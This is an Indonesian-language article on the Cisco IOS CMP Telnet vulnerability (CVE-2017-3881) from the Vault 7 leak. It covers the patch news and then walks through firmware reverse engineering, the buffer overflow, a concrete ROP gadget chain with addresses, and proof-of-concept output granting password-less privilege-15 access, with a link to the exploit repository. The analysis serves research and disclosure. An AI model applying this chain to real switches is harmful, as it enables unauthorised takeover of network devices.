Akhirnya kali ini Cisco Systems merilis update untuk software IOS dan IOS XE-nya untuk mengatasi kerentanan kritis yang diungkap hampir dua bulan lalu dalam kebocoran CIA Vault 7. Yang mana kerentanan ini mempengaruhi lebih dari 300 model switch-nya.
Perusahaan tersebut mengidentifikasi kerentanan dalam produknya saat menganalisis dump “Vault 7”, ribuan dokumen dan file yang bocor oleh Wikileaks, yang mengklaim tool dan taktik hacking dari Central Intelligence Agency (CIA) AS.
Seperti yang dilaporkan sebelumnya, kerentanan (CVE-2017-3881) berada di Cluster Management Protocol (CMP), yang menggunakan Telnet atau SSH untuk memberikan sinyal dan perintah pada jaringan internal di software Cisco IOS dan Cisco IOS XE.
Kerentanan tersebut dapat dieksploitasi dari jarak jauh dengan mengirimkan “pilihan Telnet CMP yang tidak sesuai saat membuat sesi Telnet dengan perangkat Cisco yang terpengaruh, lalu dikonfigurasi untuk menerima koneksi Telnet,” kata periset.
Perusahaan tersebut memperingatkan pengguna pada tanggal 10 April bahwa sebuah eksploitasi yang menargetkan kerentanan ini telah dipublikasikan dan memberikan beberapa saran mitigasi. Namun pihak perusahaan baru mengeluarkan edisi patch nya minggu ini.
Setelah dieksploitasi, remote attacker yang tidak terauthentikasi dapat mengeksekusi kode berbahaya dari jarak jauh pada perangkat dengan hak istimewa yang tinggi untuk mengendalikan sepenuhnya perangkat atau menyebabkan booting ulang perangkat yang terpengaruh.
Kerentanannya ada dalam konfigurasi default perangkat Cisco yang terkena dampak dan mempengaruhi 264 switch Catalyst, 51 switch Ethernet industri, dan 3 perangkat lainnya jika mereka menjalankan IOS dan dikonfigurasi untuk menerima koneksi Telnet.
Model switch Cisco yang terkena dampak meliputi switch Catalyst, switch Embedded Service 2020, switch Ethernet Industri IE, switch ME 4924-10GE, Modul 2 EtherSwitch 2 Layer 2, Modul 2 EtherSwitch yang Disempurnakan, RF Gateway 10, SM-X Layer 2 / 3 Modul Layanan EtherSwitch, dan Modul Gigabit Ethernet Switch untuk HP (lihat daftar model yang terpengaruh disini).
Kerentanan tersebut diberi skor 9,8 (tingkat risiko yang lebih tinggi) berdasarkan Common Vulnerability Scoring System, yang berarti masalahnya benar-benar buruk.
Satu-satunya mitigasi yang tersedia bagi pengguna adalah menonaktifkan koneksi Telnet ke perangkat peralihan yang mendukung SSH, namun sekarang setelah perusahaan menambal masalah ini, administrator sangat disarankan untuk memasang patch sesegera mungkin.
CVE-2017-3881 Cisco Catalyst RCE Proof-Of-Concept
Dokumen Vault 7 menyoroti proses pengujian untuk exploit yang sebenarnya. Tidak ada exploit code yang tersedia dalam dokumen yang bocor. Dua kasus penggunaan yang disorot di sana, alat dapat diluncurkan dalam mode interaktif atau mode pengaturan. Mode interaktif mengirimkan muatan melalui telnet dan langsung menghadirkan penyerang dengan shell perintah dalam konteks koneksi telnet yang sama.
Started ROCEM interactive session - successful: [email protected]:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254 [+] Validating data/interactive.bin [+] Validating data/set.bin [+] Validating data/transfer.bin [+] Validating data/unset.bin **************************************** Image: c3560-ipbase-mz.122-35.SE5 Host: 192.168.0.254 Action: Interactive **************************************** Proceed? (y/n)y Trying 127.0.0.1... [*] Attempting connection to host 192.168.0.254:23 Connected to 127.0.0.1. Escape character is '^]'. [+] Connection established [*] Starting interactive session User Access Verification Password: MLS-Sth# MLS-Sth# show priv Current privilege level is 15 MLS-Sth#show users Line User Host(s) Idle Location * 1 vty 0 idle 00:00:00 192.168.221.40 Interface User Mode Idle Peer Address MLS-Sth#exit Connection closed by foreign host.
Set mode, mengubah memori switch agar koneksi telnet selanjutnya tanpa password.
Test set/unset feature of ROCEM DUT configured with target configuration and network setup DUT is accessed by hopping through three flux nodes as per the CONOP Reloaded DUT to start with a clean device From Adverse ICON machine, set ROCEM: [email protected]:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254 [+] Validating data/interactive.bin [+] Validating data/set.bin [+] Validating data/transfer.bin [+] Validating data/unset.bin **************************************** Image: c3560-ipbase-mz.122-35.SE5 Host: 192.168.0.254 Action: Set **************************************** Proceed? (y/n)y [*] Attempting connection to host 192.168.0.254:23 [+] Connection established [*] Sending Protocol Step 1 [*] Sending Protocol Step 2 [+] Done [email protected]:/home/user1/ops/adverse/adverse-1r/rocem# Verified I could telnet and rx priv 15 without creds: [email protected]:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254 Trying 192.168.0.254... Connected to 192.168.0.254. Escape character is '^]'. MLS-Sth# MLS-Sth#show priv Current privilege level is 15 MLS-Sth#
Sepotong informasi yang berguna dalam kerentanan ini adalah keluaran telnet debug.
14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output 1.Enabled debug telnet on DUT 2.Set ROCEM 3.Observed the following: 000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused) 000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32) 000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused) 000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33) 000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34) 000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented) 000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39) 000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented) 000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5) 000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented) 000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused) 000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35) 000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1) 000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29 000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X 000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap
Perhatikan opsi CISCO_KITS yang diterima oleh layanan pada baris terakhir. Ini terbukti menjadi string yang penting.
Switch clustering
Sebagai contoh, ada dua switch Catalyst 2960 untuk kelinci percobaan kerentanan ini. Clustering menetapkan hubungan master-slave antara switch. Master switch bisa mendapatkan perintah shell yang istimewa pada slave. Seperti yang disebutkan Cisco dalam advisorynya, telnet digunakan sebagai protokol perintah antara anggota cluster. Beberapa info tentang pengelompokan dapat ditemukan di sini dan inilah contoh pengaturan lingkungan cluster.
cluster enable CLGRP 0 cluster member 1 mac-address xxxx.xxxx.xxxx
Ini akan menambahkan switch terdekat sebagai slave cluster. rcommand <num> memungkinkan untuk mendapatkan antarmuka perintah pada slave switch dari antarmuka master.
catalyst1>rcommand 1 catalyst2>who Line User Host(s) Idle Location * 1 vty 0 idle 00:00:00 10.10.10.10 Interface User Mode Idle Peer Address
Mari lihat lalu lintas yang dihasilkan oleh rcommand:
Jalankan show version untuk melihat lebih banyak lalu lintas:
catalyst2>show version Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)
Lalu lintas telnet sebenarnya dienkapsulasi ke paket layer 2 LLC. Jika kita melihat cukup dekat, kita akan melihat paket IP di dalamnya dengan alamat MAC yang dicacah di kolom sumber dan tujuan. Di dalam paket “IP” tersebut ada frame TCP yang valid dengan sesi telnet.
Sesi telnet biasanya didahului dengan negosiasi opsi telnet. Diantaranya adalah: ukuran terminal, tipe terminal, dll. Lihatl RFC untuk info lebih lanjut: https://tools.ietf.org/html/rfc854
Tepat sebelum pesan welcome catalyst2>
, sebuah pesan menarik pilihan telnet ditransfer ke sisi server:
Disini kamu bisa melihat opsi telnet “CISCO_KITS” yang dikirim dari master switch ke slave. String yang sama ada di dokumen Vault 7 selama eksekusi exploit.
Mengintip Firmware
Firmware di flash:<version>.bin
dalam switch.
catalyst2#dir flash: Directory of flash:/ 2 -rwx 9771282 Mar 1 1993 00:13:28 +00:00 c2960-lanbasek9-mz.122-55.SE1.bin 3 -rwx 2487 Mar 1 1993 00:01:53 +00:00 config.text
Klien ftp built-in memungkinkan untuk mentransfer firmware ini ke arbitrary ftp server. Sekarang coba untuk menganalisa dan mengekstrak isi file dengan binwalk:
$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 112 0x70 bzip2 compressed data, block size = 900k
Untuk memudahkan analisis statis terhadap biner yang dihasilkan, kita lebih baik tahu offset beban firmware. Offset ini dicetak ke konsol serial selama proses boot:
Loading "flash:c2960-lanbasek9-mz.122-55.SE1.bin"...@@@@@@@@@@@@@@@@@@@@@@ File "flash:c2960-lanbasek9-mz.122-55.SE1.bin" uncompressed and installed, entry point: 0x3000 executing...
Mari jalankan IDA. Arsitektur CPU PowerPC 32-bit BigEndian. Memuat biner di 0x3000:
Menemukan String
Setelah menemukan sebagian besar fungsi di IDA, kita dapat melihat refrensi silang pada string yang ada di ujung firmware.
String “CISCO_KITS” direferensikan oleh fungsi return_cisco_kits, yang mengembalikan string ini sebagai char *. Kita akan memusatkan perhatian pada fungsi call_cisco_kits di 0x0004ED8C yang memanggil return_cisco_kits.
Karena kode telnet agak simetris untuk client dan server, disini kita sebenarnya bisa melihat format buffer yang sedang dikirim ke sisi server – %c%s%c%d:%s:%d:. Ini benar-benar sesuai dengan lalu lintas dimana buffer yang dikirim adalah \x03CISCO_KITS\x012::1:
if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string { if ( telnet_struct->is_client_mode == 1 ) { cisco_kits_string_2 = (char *)return_cisco_kits(); int_two = return_2(); tty_str = get_from_tty_struct((telnet_struct *)telnet_struct_arg->tty_struct); *(_DWORD *)&telnet_struct_arg->tty_struct[1].field_6D1; format1_ret = format_1( 128, (int)&str_buf[8], "%c%s%c%d:%s:%d:", 3, cisco_kits_string_2, 1, int_two, tty_str, 0); telnet_struct = (telnet_struct *)telnet_send_sb( (int)telnet_struct_arg, 36, 0, &str_buf[8], format1_ret, v8, v7, v6); } }
Ada dua %s string modifiers tapi hanya satu string yang benar-benar ada dalam sampel lalu lintas yaitu CISCO_KITS, yang kedua kosong dan dibatasi antara dua karakter. Selanjutnya amati aliran kontrol dari fungsi yang sama. Kita lihat beberapa perilaku saat berhadapan dengan string kedua (kali ini bagian sisi server dari kode tersebut):
for ( j = (unsigned __int8)*string_buffer; j != ':'; j = (unsigned __int8)*string_buffer )// put data before second ":" at &str_buf + 152 { str_buf[v19++ + 152] = j; ++string_buffer; }
Data yang kita kirim dalam string %s kedua benar-benar disalin sampai char tanpa memeriksa batas tujuan, sementara buffer target berada di stack. Ini merupakan penyangga buffer overflow.
Code Execution
Mendapatkan kontrol dari pointer instruksi itu mudah karena ditimpa dengan buffer yang kita kirim (untuk contoh, bisa menggunakan IODIDE untuk debugging). Masalahnya adalah heap dan stack (yang berada di atas heap) tidak dapat dieksekusi. Taruhan terbaik adalah bahwa ini sebenarnya adalah efek cache data dan instruksi yang diaktifkan. Berikut adalah slide presentasi Felix Lindner di event BlackHat 2009:
Jalan Keluar ROPing
Karena tidak ada cara untuk mengeksekusi kode pada stack, kita harus menggunakannya sebagai penyangga data dan menggunakan kembali kode yang ada di firmware. Idenya adalah untuk rantai fungsi epilog dengan cara yang berarti untuk melakukan arbitrary memory writes. Coba lihatlah fungsi decompiled di 0x00F47A34:
if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) ) { telnet_struct_var = tty_struct_var->telnet_struct_field; ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483]); privilege_level = ptr_get_privilege_level(telnet_struct_var);// equals to 1 during rcommand 1 telnet_struct_1 = tty_struct_var->telnet_struct_field; ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]); ptr_telnet_related2(telnet_struct_1); *(_DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *(_DWORD *)&tty_struct_var->privilege_level_field & 0xFFFFFFF) & 0xFF7FFFFF; } else { //generic telnet session }
Hal pertama yang harus ditekankan adalah bahwa kedua panggilan ptr_is_cluster_mode dan ptr_get_privilege_level dibuat secara tidak langsung dengan merujuk variabel global. Periksa baris di alamat 0x00F47B60 – is_cluster_mode, alamat fungsi yang sedang dimuat dari dword di 0x01F24A7. Dengan cara yang sama, alamat get_privilege_level sedang dimuat dari register r3 di 0x00F47B8C. Pada titik ini, r3 adalah pointer dereferenced yang berada pada alamat 0x022659D4 + 0x28 + 0xC.
Jika panggilan ptr_is_cluster_mode mengembalikan panggilan non zero dan ptr_get_privilege mengembalikan nilai yang berbeda dari -1, kita akan disajikan dengan telnet shell tanpa perlu memberikan kredensial apapun. Variabel privilege_level sedang diperiksa untuk value di bawah kode:
Bagaimana jika bisa menimpa pointer fungsi ini ke sesuatu yang selalu mengembalikan nilai positif yang diinginkan? Karena stack dan heap tidak langsung dieksekusi, kita harus menggunakan kembali kode yang ada untuk melakukan memori writes. Berikut Gadget ROP yang digunakan:
0x000037b4: lwz r0, 0x14(r1) mtlr r0 lwz r30, 8(r1) lwz r31, 0xc(r1) addi r1, r1, 0x10 blr
Memuat fungsi pointer is_cluster_mode ke r30, memuat nilai untuk menimpa pointer ini ke r31. Nilai yang akan ditimpa adalah alamat dari suatu fungsi yang selalu mengembalikan 1:
0x00dffbe8: stw r31, 0x34(r30) lwz r0, 0x14(r1) mtlr r0 lmw r30, 8(r1) addi r1, r1, 0x10 blr
Melakukan write yang sebenarnya.
0x0006788c: lwz r9, 8(r1) lwz r3, 0x2c(r9) lwz r0, 0x14(r1) mtlr r0 addi r1, r1, 0x10 blr
0x006ba128: lwz r31, 8(r1) lwz r30, 0xc(r1) addi r1, r1, 0x10 lwz r0, 4(r1) mtlr r0 blr
Dua gadget sebelumnya memuat fungsi pointer get_privilege_level ke r3, dan nilainya menimpa dengan r31. Nilai target adalah fungsi yang mengembalikan 15 (bisa saja menggunakan fungsi ini untuk both write tho):
0x0148e560: stw r31, 0(r3) lwz r0, 0x14(r1) mtlr r0 lwz r31, 0xc(r1) addi r1, r1, 0x10 blr
Epilog ini membuat penulisan akhir dan kembali ke arus eksekusi yang sah. Tentu saja, stack frame harus dibentuk dengan sesuai untuk membuat rop chain ini bekerja. Simak sumber eksploitasi untuk melihat susunan stack aktual agar rantai ini berfungsi sebagaimana mestinya.
Menjalankan Exploit
Sebelumnya, coba perhatikan bahwa kode eksploitasi sangat bergantung pada versi firmware yang digunakan pada switch. Menggunakan kode eksploitasi untuk beberapa firmware yang berbeda kemungkinan besar akan merusak perangkat.
Semua perbedaan antara versi firmware yaitu fungsi yang berbeda dan offset pointer. Selain itu, cara kerja exploit membuatnya mudah untuk revert perubahan kembali. Contoh:
$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set [+] Connection OK [+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f' [+] Sending cluster option [+] Setting credless privilege 15 authentication [+] All done $ telnet 192.168.88.10 Trying 192.168.88.10... Connected to 192.168.88.10. Escape character is '^]'. catalyst1#show priv Current privilege level is 15 catalyst1#show ver Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3) ... System image file is "flash:c2960-lanbasek9-mz.122-55.SE11.bin" ... cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory. ... Model number : WS-C2960-48TT-L ... Switch Ports Model SW Version SW Image ------ ----- ----- ---------- ---------- * 1 50 WS-C2960-48TT-L 12.2(55)SE11 C2960-LANBASEK9-M Configuration register is 0xF
Untuk membatalkan perilaku ini:
$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset [+] Connection OK [+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f\r\ncatalyst1#' [+] Sending cluster option [+] Unsetting credless privilege 15 authentication [+] All done $ telnet 192.168.88.10 Escape character is '^]'. User Access Verification Password:
RCE POC ini tersedia untuk kedua versi firmware. Versi DoS dari exploit ini juga tersedia untuk modul metasploit, mungkin akan bekerja untuk sebagian besar model yang disebutkan dalam Cisco advisory.
Repository RCE: https://github.com/zakybstrd21215/PoC-CVE-2017-3881